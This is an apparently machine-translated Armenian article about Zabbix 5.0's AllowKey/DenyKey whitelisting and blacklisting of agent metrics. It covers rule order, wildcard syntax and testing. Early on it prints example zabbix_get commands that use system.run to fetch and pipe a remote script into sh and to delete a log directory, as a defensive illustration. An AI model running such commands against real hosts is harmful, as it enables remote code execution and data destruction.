Zabbix 5.0-ում գործակալի կողմից տրված չափումների սև ցուցակի և սպիտակ ցուցակի աջակցություն

Zabbix 5.0-ում գործակալի կողմից տրված չափումների սև ցուցակի և սպիտակ ցուցակի աջակցություն

Սև ցուցակի և սպիտակ ցուցակի աջակցություն գործակալի կողմից տրված չափումների համար

Տիխոն Ուսկով, Ինտեգրման ինժեներ, Zabbix

Տվյալների անվտանգության խնդիրներ

Zabbix 5.0-ն ունի նոր գործառույթ, որը թույլ է տալիս բարելավել համակարգերի անվտանգությունը՝ օգտագործելով Zabbix Agent-ը և փոխարինել հին պարամետրը: EnableRemoteCommands.

Գործակալների վրա հիմնված համակարգերի անվտանգության բարելավումները բխում են այն փաստից, որ գործակալը կարող է մեծ թվով պոտենցիալ վտանգավոր գործողություններ կատարել:

  • Գործակալը կարող է հավաքել գրեթե ցանկացած տեղեկատվություն, ներառյալ գաղտնի կամ պոտենցիալ վտանգավոր տեղեկատվություն, կազմաձևման ֆայլերից, գրանցամատյանի ֆայլերից, գաղտնաբառի ֆայլերից կամ ցանկացած այլ ֆայլից:

Օրինակ, օգտագործելով zabbix_get կոմունալը, կարող եք մուտք գործել օգտվողների ցանկ, նրանց տնային դիրեկտորիաներ, գաղտնաբառի ֆայլեր և այլն:

Zabbix 5.0-ում գործակալի կողմից տրված չափումների սև ցուցակի և սպիտակ ցուցակի աջակցություն

Տվյալների մուտք՝ օգտագործելով zabbix_get կոմունալը

Նշում. Տվյալները կարող են առբերվել միայն այն դեպքում, եթե գործակալը համապատասխան ֆայլի վրա ունի կարդալու թույլտվություններ. Բայց, օրինակ, ֆայլը /etc/passwd/ ընթեռնելի բոլոր օգտագործողների կողմից:

  • Գործակալը կարող է նաև կատարել պոտենցիալ վտանգավոր հրամաններ: Օրինակ, բանալին *system.run[]** թույլ է տալիս կատարել ցանկացած հեռավոր հրամաններ ցանցի հանգույցներում, ներառյալ գործող սկրիպտները Zabbix վեբ ինտերֆեյսից, որոնք նաև հրամաններ են կատարում գործակալի կողմից:

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Linux-ում գործակալը լռելյայն աշխատում է առանց արմատային արտոնությունների, մինչդեռ Windows-ում այն ​​աշխատում է որպես ծառայություն՝ որպես System և ունի անսահմանափակ մուտք դեպի ֆայլային համակարգ։ Համապատասխանաբար, եթե տեղադրումից հետո Zabbix Agent-ի պարամետրերում փոփոխություններ չեն կատարվել, գործակալը մուտք ունի ռեեստր, ֆայլային համակարգ և կարող է կատարել WMI հարցումներ:

Ավելի վաղ տարբերակներում պարամետրը EnableRemoteCommands=0 թույլատրվում է միայն անջատել չափումները * ստեղնովsystem.run[]** և վեբ ինտերֆեյսից գործարկվող սկրիպտներ, սակայն չկար որևէ կերպ սահմանափակել մուտքը առանձին ֆայլեր, թույլատրել կամ անջատել առանձին բանալիները, որոնք տեղադրված են եղել գործակալի հետ, կամ սահմանափակել առանձին պարամետրերի օգտագործումը:

Zabbix 5.0-ում գործակալի կողմից տրված չափումների սև ցուցակի և սպիտակ ցուցակի աջակցություն

Օգտագործելով EnableRemoteCommand պարամետրը Zabbix-ի ավելի վաղ տարբերակներում

AllowKey/DenyKey

Zabbix 5.0-ն օգնում է պաշտպանվել նման չարտոնված մուտքից՝ տրամադրելով սպիտակ ցուցակներ և սև ցուցակներ՝ գործակալի կողմից չափումները թույլատրելու և մերժելու համար:

Zabbix 5.0-ում բոլոր ստեղները, ներառյալ *system.run[]** միացված է, և գործակալի կազմաձևման երկու նոր տարբերակ ավելացվել է.

AllowKey= — թույլատրելի ստուգումներ.

DenyKey= — արգելված ստուգումներ.

որտեղ է հիմնական անվան օրինակը պարամետրերով, որոնք օգտագործում են մետանիշեր (*):

AllowKey և DenyKey ստեղները թույլ են տալիս թույլատրել կամ մերժել առանձին չափումներ՝ հիմնված որոշակի օրինաչափության վրա: Ի տարբերություն այլ կազմաձևման պարամետրերի, AllowKey/DenyKey պարամետրերի քանակը սահմանափակված չէ: Սա թույլ է տալիս հստակ սահմանել, թե կոնկրետ ինչ կարող է անել գործակալը համակարգում՝ ստեղծելով չեկերի ծառ՝ գործարկվող ստեղներ, որտեղ դրանց գրման հերթականությունը շատ կարևոր դեր է խաղում:

Կանոնների հաջորդականությունը

Կանոնները ստուգվում են այն հաջորդականությամբ, որով դրանք մուտքագրվում են կազմաձևման ֆայլում: Բանալին ստուգվում է կանոնների համաձայն՝ առաջին համընկնումից առաջ, և հենց որ տվյալների տարրի բանալին համընկնում է օրինաչափության հետ, այն թույլատրվում կամ մերժվում է։ Դրանից հետո կանոնների ստուգումը դադարում է, իսկ մնացած ստեղները անտեսվում են:

Հետևաբար, եթե տարրը համընկնում է և՛ թույլտվության, և՛ մերժման կանոնների հետ, արդյունքը կախված կլինի նրանից, թե որ կանոնն է առաջինը կազմաձևման ֆայլում:

Zabbix 5.0-ում գործակալի կողմից տրված չափումների սև ցուցակի և սպիտակ ցուցակի աջակցություն

2 տարբեր կանոններ նույն օրինակով և բանալիով vfs.file.size[/tmp/file]

AllowKey/DenyKey ստեղների օգտագործման հերթականությունը.

  1. ճշգրիտ կանոններ,
  2. ընդհանուր կանոններ,
  3. արգելող կանոն.

Օրինակ, եթե ձեզ անհրաժեշտ է մուտք գործել որոշակի թղթապանակում գտնվող ֆայլեր, նախ պետք է թույլատրեք մուտք գործել դրանք, ապա մերժեք մնացած ամեն ինչ, որը չի մտնում սահմանված թույլտվությունների մեջ: Եթե ​​առաջին հերթին օգտագործվի մերժման կանոնը, մուտքը դեպի թղթապանակ կմերժվի:

Zabbix 5.0-ում գործակալի կողմից տրված չափումների սև ցուցակի և սպիտակ ցուցակի աջակցություն

Ճիշտ հաջորդականություն

Եթե ​​Ձեզ անհրաժեշտ է թույլ տալ, որ 2 կոմունալ ծառայություններ աշխատեն *-ի միջոցովsystem.run[]**, և սկզբում կհստակեցվի մերժման կանոնը, կոմունալ ծառայությունները չեն գործարկվի, քանի որ առաջին օրինաչափությունը միշտ կհամապատասխանի ցանկացած ստեղնի, և հաջորդ կանոնները անտեսվելու են:

Zabbix 5.0-ում գործակալի կողմից տրված չափումների սև ցուցակի և սպիտակ ցուցակի աջակցություն

Սխալ հաջորդականություն

Նախշեր

Հիմնական կանոնները

Pattern-ը նիշերով արտահայտություն է: Մետանիշը (*) համընկնում է որոշակի դիրքում գտնվող ցանկացած նիշերի ցանկացած քանակի: Մետանիշերը կարող են օգտագործվել ինչպես բանալու անվանման, այնպես էլ պարամետրերի մեջ: Օրինակ, դուք կարող եք խստորեն սահմանել առաջին պարամետրը տեքստով, իսկ հաջորդը նշեք որպես wildcard.

Պարամետրերը պետք է փակցվեն քառակուսի փակագծերում []:

  • system.run[* - սխալ
  • vfs.file*.txt] - սխալ
  • vfs.file.*[*] - ճիշտ

Վառանիշի օգտագործման օրինակներ.

  1. Բանալի անվան և պարամետրի մեջ: Այս դեպքում բանալին չի համապատասխանում նմանատիպ բանալի, որը պարամետր չի պարունակում, քանի որ օրինաչափության մեջ մենք նշել ենք, որ ցանկանում ենք ստանալ բանալու անվան որոշակի ավարտ և պարամետրերի որոշակի փաթեթ:
  2. Եթե ​​նախշը չի օգտագործում քառակուսի փակագծեր, ապա նախշը թույլ է տալիս բոլոր ստեղները, որոնք չեն պարունակում պարամետրեր և մերժում է բոլոր ստեղները, որոնք պարունակում են նշված պարամետրը:
  3. Եթե ​​բանալին գրված է ամբողջությամբ, և պարամետրերը նշված են որպես նիշ, այն կհամապատասխանի ցանկացած նմանատիպ բանալի ցանկացած պարամետրի հետ և չի համընկնի առանց քառակուսի փակագծերի բանալին, այսինքն՝ այն կթույլատրվի կամ մերժվի:

Zabbix 5.0-ում գործակալի կողմից տրված չափումների սև ցուցակի և սպիտակ ցուցակի աջակցություն

Պարամետրերի լրացման կանոններ.

  • Եթե ​​նախատեսվում է օգտագործել պարամետրերով բանալի, ապա պարամետրերը պետք է նշվեն կազմաձևման ֆայլում: Պարամետրերը պետք է նշվեն որպես մետանիշ: Անհրաժեշտ է զգուշորեն մերժել ցանկացած ֆայլի մուտքը և հաշվի առնել, թե ինչ տեղեկատվություն կարող է տրամադրել մետրիկը տարբեր ուղղագրություններով՝ պարամետրերով և առանց պարամետրերի:

Zabbix 5.0-ում գործակալի կողմից տրված չափումների սև ցուցակի և սպիտակ ցուցակի աջակցություն

Պարամետրերով ստեղներ գրելու առանձնահատկությունները

  • Եթե ​​բանալին նշված է պարամետրերով, բայց պարամետրերը կամընտիր են և նշված են որպես մետանիշ, առանց պարամետրերի բանալին կլուծվի: Օրինակ, եթե ցանկանում եք անջատել պրոցեսորի բեռնվածության մասին տեղեկություններ ստանալը և նշել, որ system.cpu.load[*] ստեղնը պետք է անջատված լինի, մի մոռացեք, որ առանց պարամետրերի բանալին կվերադարձնի միջին բեռնվածության արժեքը:

Zabbix 5.0-ում գործակալի կողմից տրված չափումների սև ցուցակի և սպիտակ ցուցակի աջակցություն

Պարամետրերի լրացման կանոններ

Նշումներ

հարմարեցում

  • Որոշ կանոններ չեն կարող փոփոխվել օգտվողի կողմից, օրինակ՝ հայտնաբերման կանոնները կամ գործակալի ինքնագրանցման կանոնները: AllowKey/DenyKey կանոնները չեն ազդում հետևյալ պարամետրերի վրա.
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

Նշում. Եթե ​​ադմինիստրատորն անջատում է բանալին, երբ հարցնում են, Zabbix-ը տեղեկատվություն չի տրամադրում այն ​​մասին, թե ինչու է չափանիշը կամ բանալին ընկնում « կատեգորիային »ՉԻ ԱՊԱՀՈՎՎՈՒՄ'. Հեռակառավարման հրամանների կատարման արգելքների մասին տեղեկությունները նույնպես չեն ցուցադրվում գործակալների մատյանների ֆայլերում: Սա անվտանգության նկատառումներով է, բայց կարող է բարդացնել վրիպազերծումը, եթե չափորոշիչները ինչ-ինչ պատճառներով ընկնում են չաջակցվող կատեգորիայի մեջ:.

  • Արտաքին կազմաձևման ֆայլերը միացնելու համար չպետք է ապավինեք որևէ հատուկ կարգի (օրինակ՝ այբբենական կարգով):

Command Line Utilities

Կանոնները հաստատելուց հետո դուք պետք է համոզվեք, որ ամեն ինչ ճիշտ է կազմաձևված:

Դուք կարող եք օգտագործել երեք տարբերակներից մեկը.

  • Ավելացրեք չափիչ Zabbix-ին:
  • Փորձարկել հետ zabbix_agentd. Zabbix գործակալ օպցիոնով - տպել (-p) ցույց է տալիս բոլոր ստեղները (որոնք լռելյայն թույլատրված են), բացառությամբ նրանց, որոնք չեն թույլատրվում կոնֆիգուրացիայի կողմից: Եվ տարբերակով -թեստ (-t) քանի որ արգելված բանալին կվերադառնա»Չաջակցվող տարրի բանալի'.
  • Փորձարկել հետ zabbix_get. Կոմունալ zabbix_get տարբերակով -k կվերադառնա 'ZBX_NOTSUPPORTED. Անհայտ չափանիշ'.

Թույլատրել կամ մերժել

Դուք կարող եք մերժել մուտքը ֆայլ և հաստատել, օրինակ, օգտագործելով կոմունալ ծրագիրը zabbix_getոր ֆայլի մուտքն արգելված է:

Zabbix 5.0-ում գործակալի կողմից տրված չափումների սև ցուցակի և սպիտակ ցուցակի աջակցություն

**

Նշում. Պարամետրի մեջբերումներն անտեսվում են.

Այս դեպքում նման ֆայլի մուտքը կարող է թույլատրվել այլ ճանապարհով: Օրինակ, եթե սիմվոլը տանում է դրան:

Zabbix 5.0-ում գործակալի կողմից տրված չափումների սև ցուցակի և սպիտակ ցուցակի աջակցություն

Խորհուրդ է տրվում ստուգել նշված կանոնների կիրառման տարբեր տարբերակներ, ինչպես նաև հաշվի առնել արգելքները շրջանցելու հնարավորությունները։

Հարց ու պատասխան

Հարց. Ինչու՞ ընտրվեց նման բարդ օրինաչափություն իր սեփական լեզվով` նկարագրելու կանոնները, թույլտվությունները և արգելքները: Ինչո՞ւ հնարավոր չեղավ օգտագործել, օրինակ, Zabbix-ի կանոնավոր արտահայտությունները:

Պատասխան. Սա ռեգեքսի աշխատանքի խնդիր է, քանի որ սովորաբար կա միայն մեկ գործակալ և այն ստուգում է մեծ թվով չափումներ: Regex-ը բավականին ծանր գործողություն է, և մենք չենք կարող այս կերպ ստուգել հազարավոր չափումներ: Wildcards - ունիվերսալ, լայնորեն օգտագործվող և պարզ լուծում.

Հարց. Արդյո՞ք Include ֆայլերը ներառված չեն այբբենական կարգով:

Պատասխան. Որքան ես գիտեմ, գործնականում անհնար է կանխատեսել կանոնների կիրառման հերթականությունը, եթե կանոնները տարածես տարբեր ֆայլերի վրա: Ես խորհուրդ եմ տալիս հավաքել բոլոր AllowKey/DenyKey կանոնները մեկ Include ֆայլում, քանի որ դրանք փոխազդում են միմյանց հետ և ներառել այս ֆայլը.

Հարց. Zabbix 5.0-ում տարբերակը 'EnableRemoteCommands=' բացակայում է կազմաձևման ֆայլից և հասանելի են միայն AllowKey/DenyKey-ը:

Պատասխանել. Այո դա ճիշտ է.

Շնորհակալություն ձեր ուշադրության համար:

Source: www.habr.com

Добавить комментарий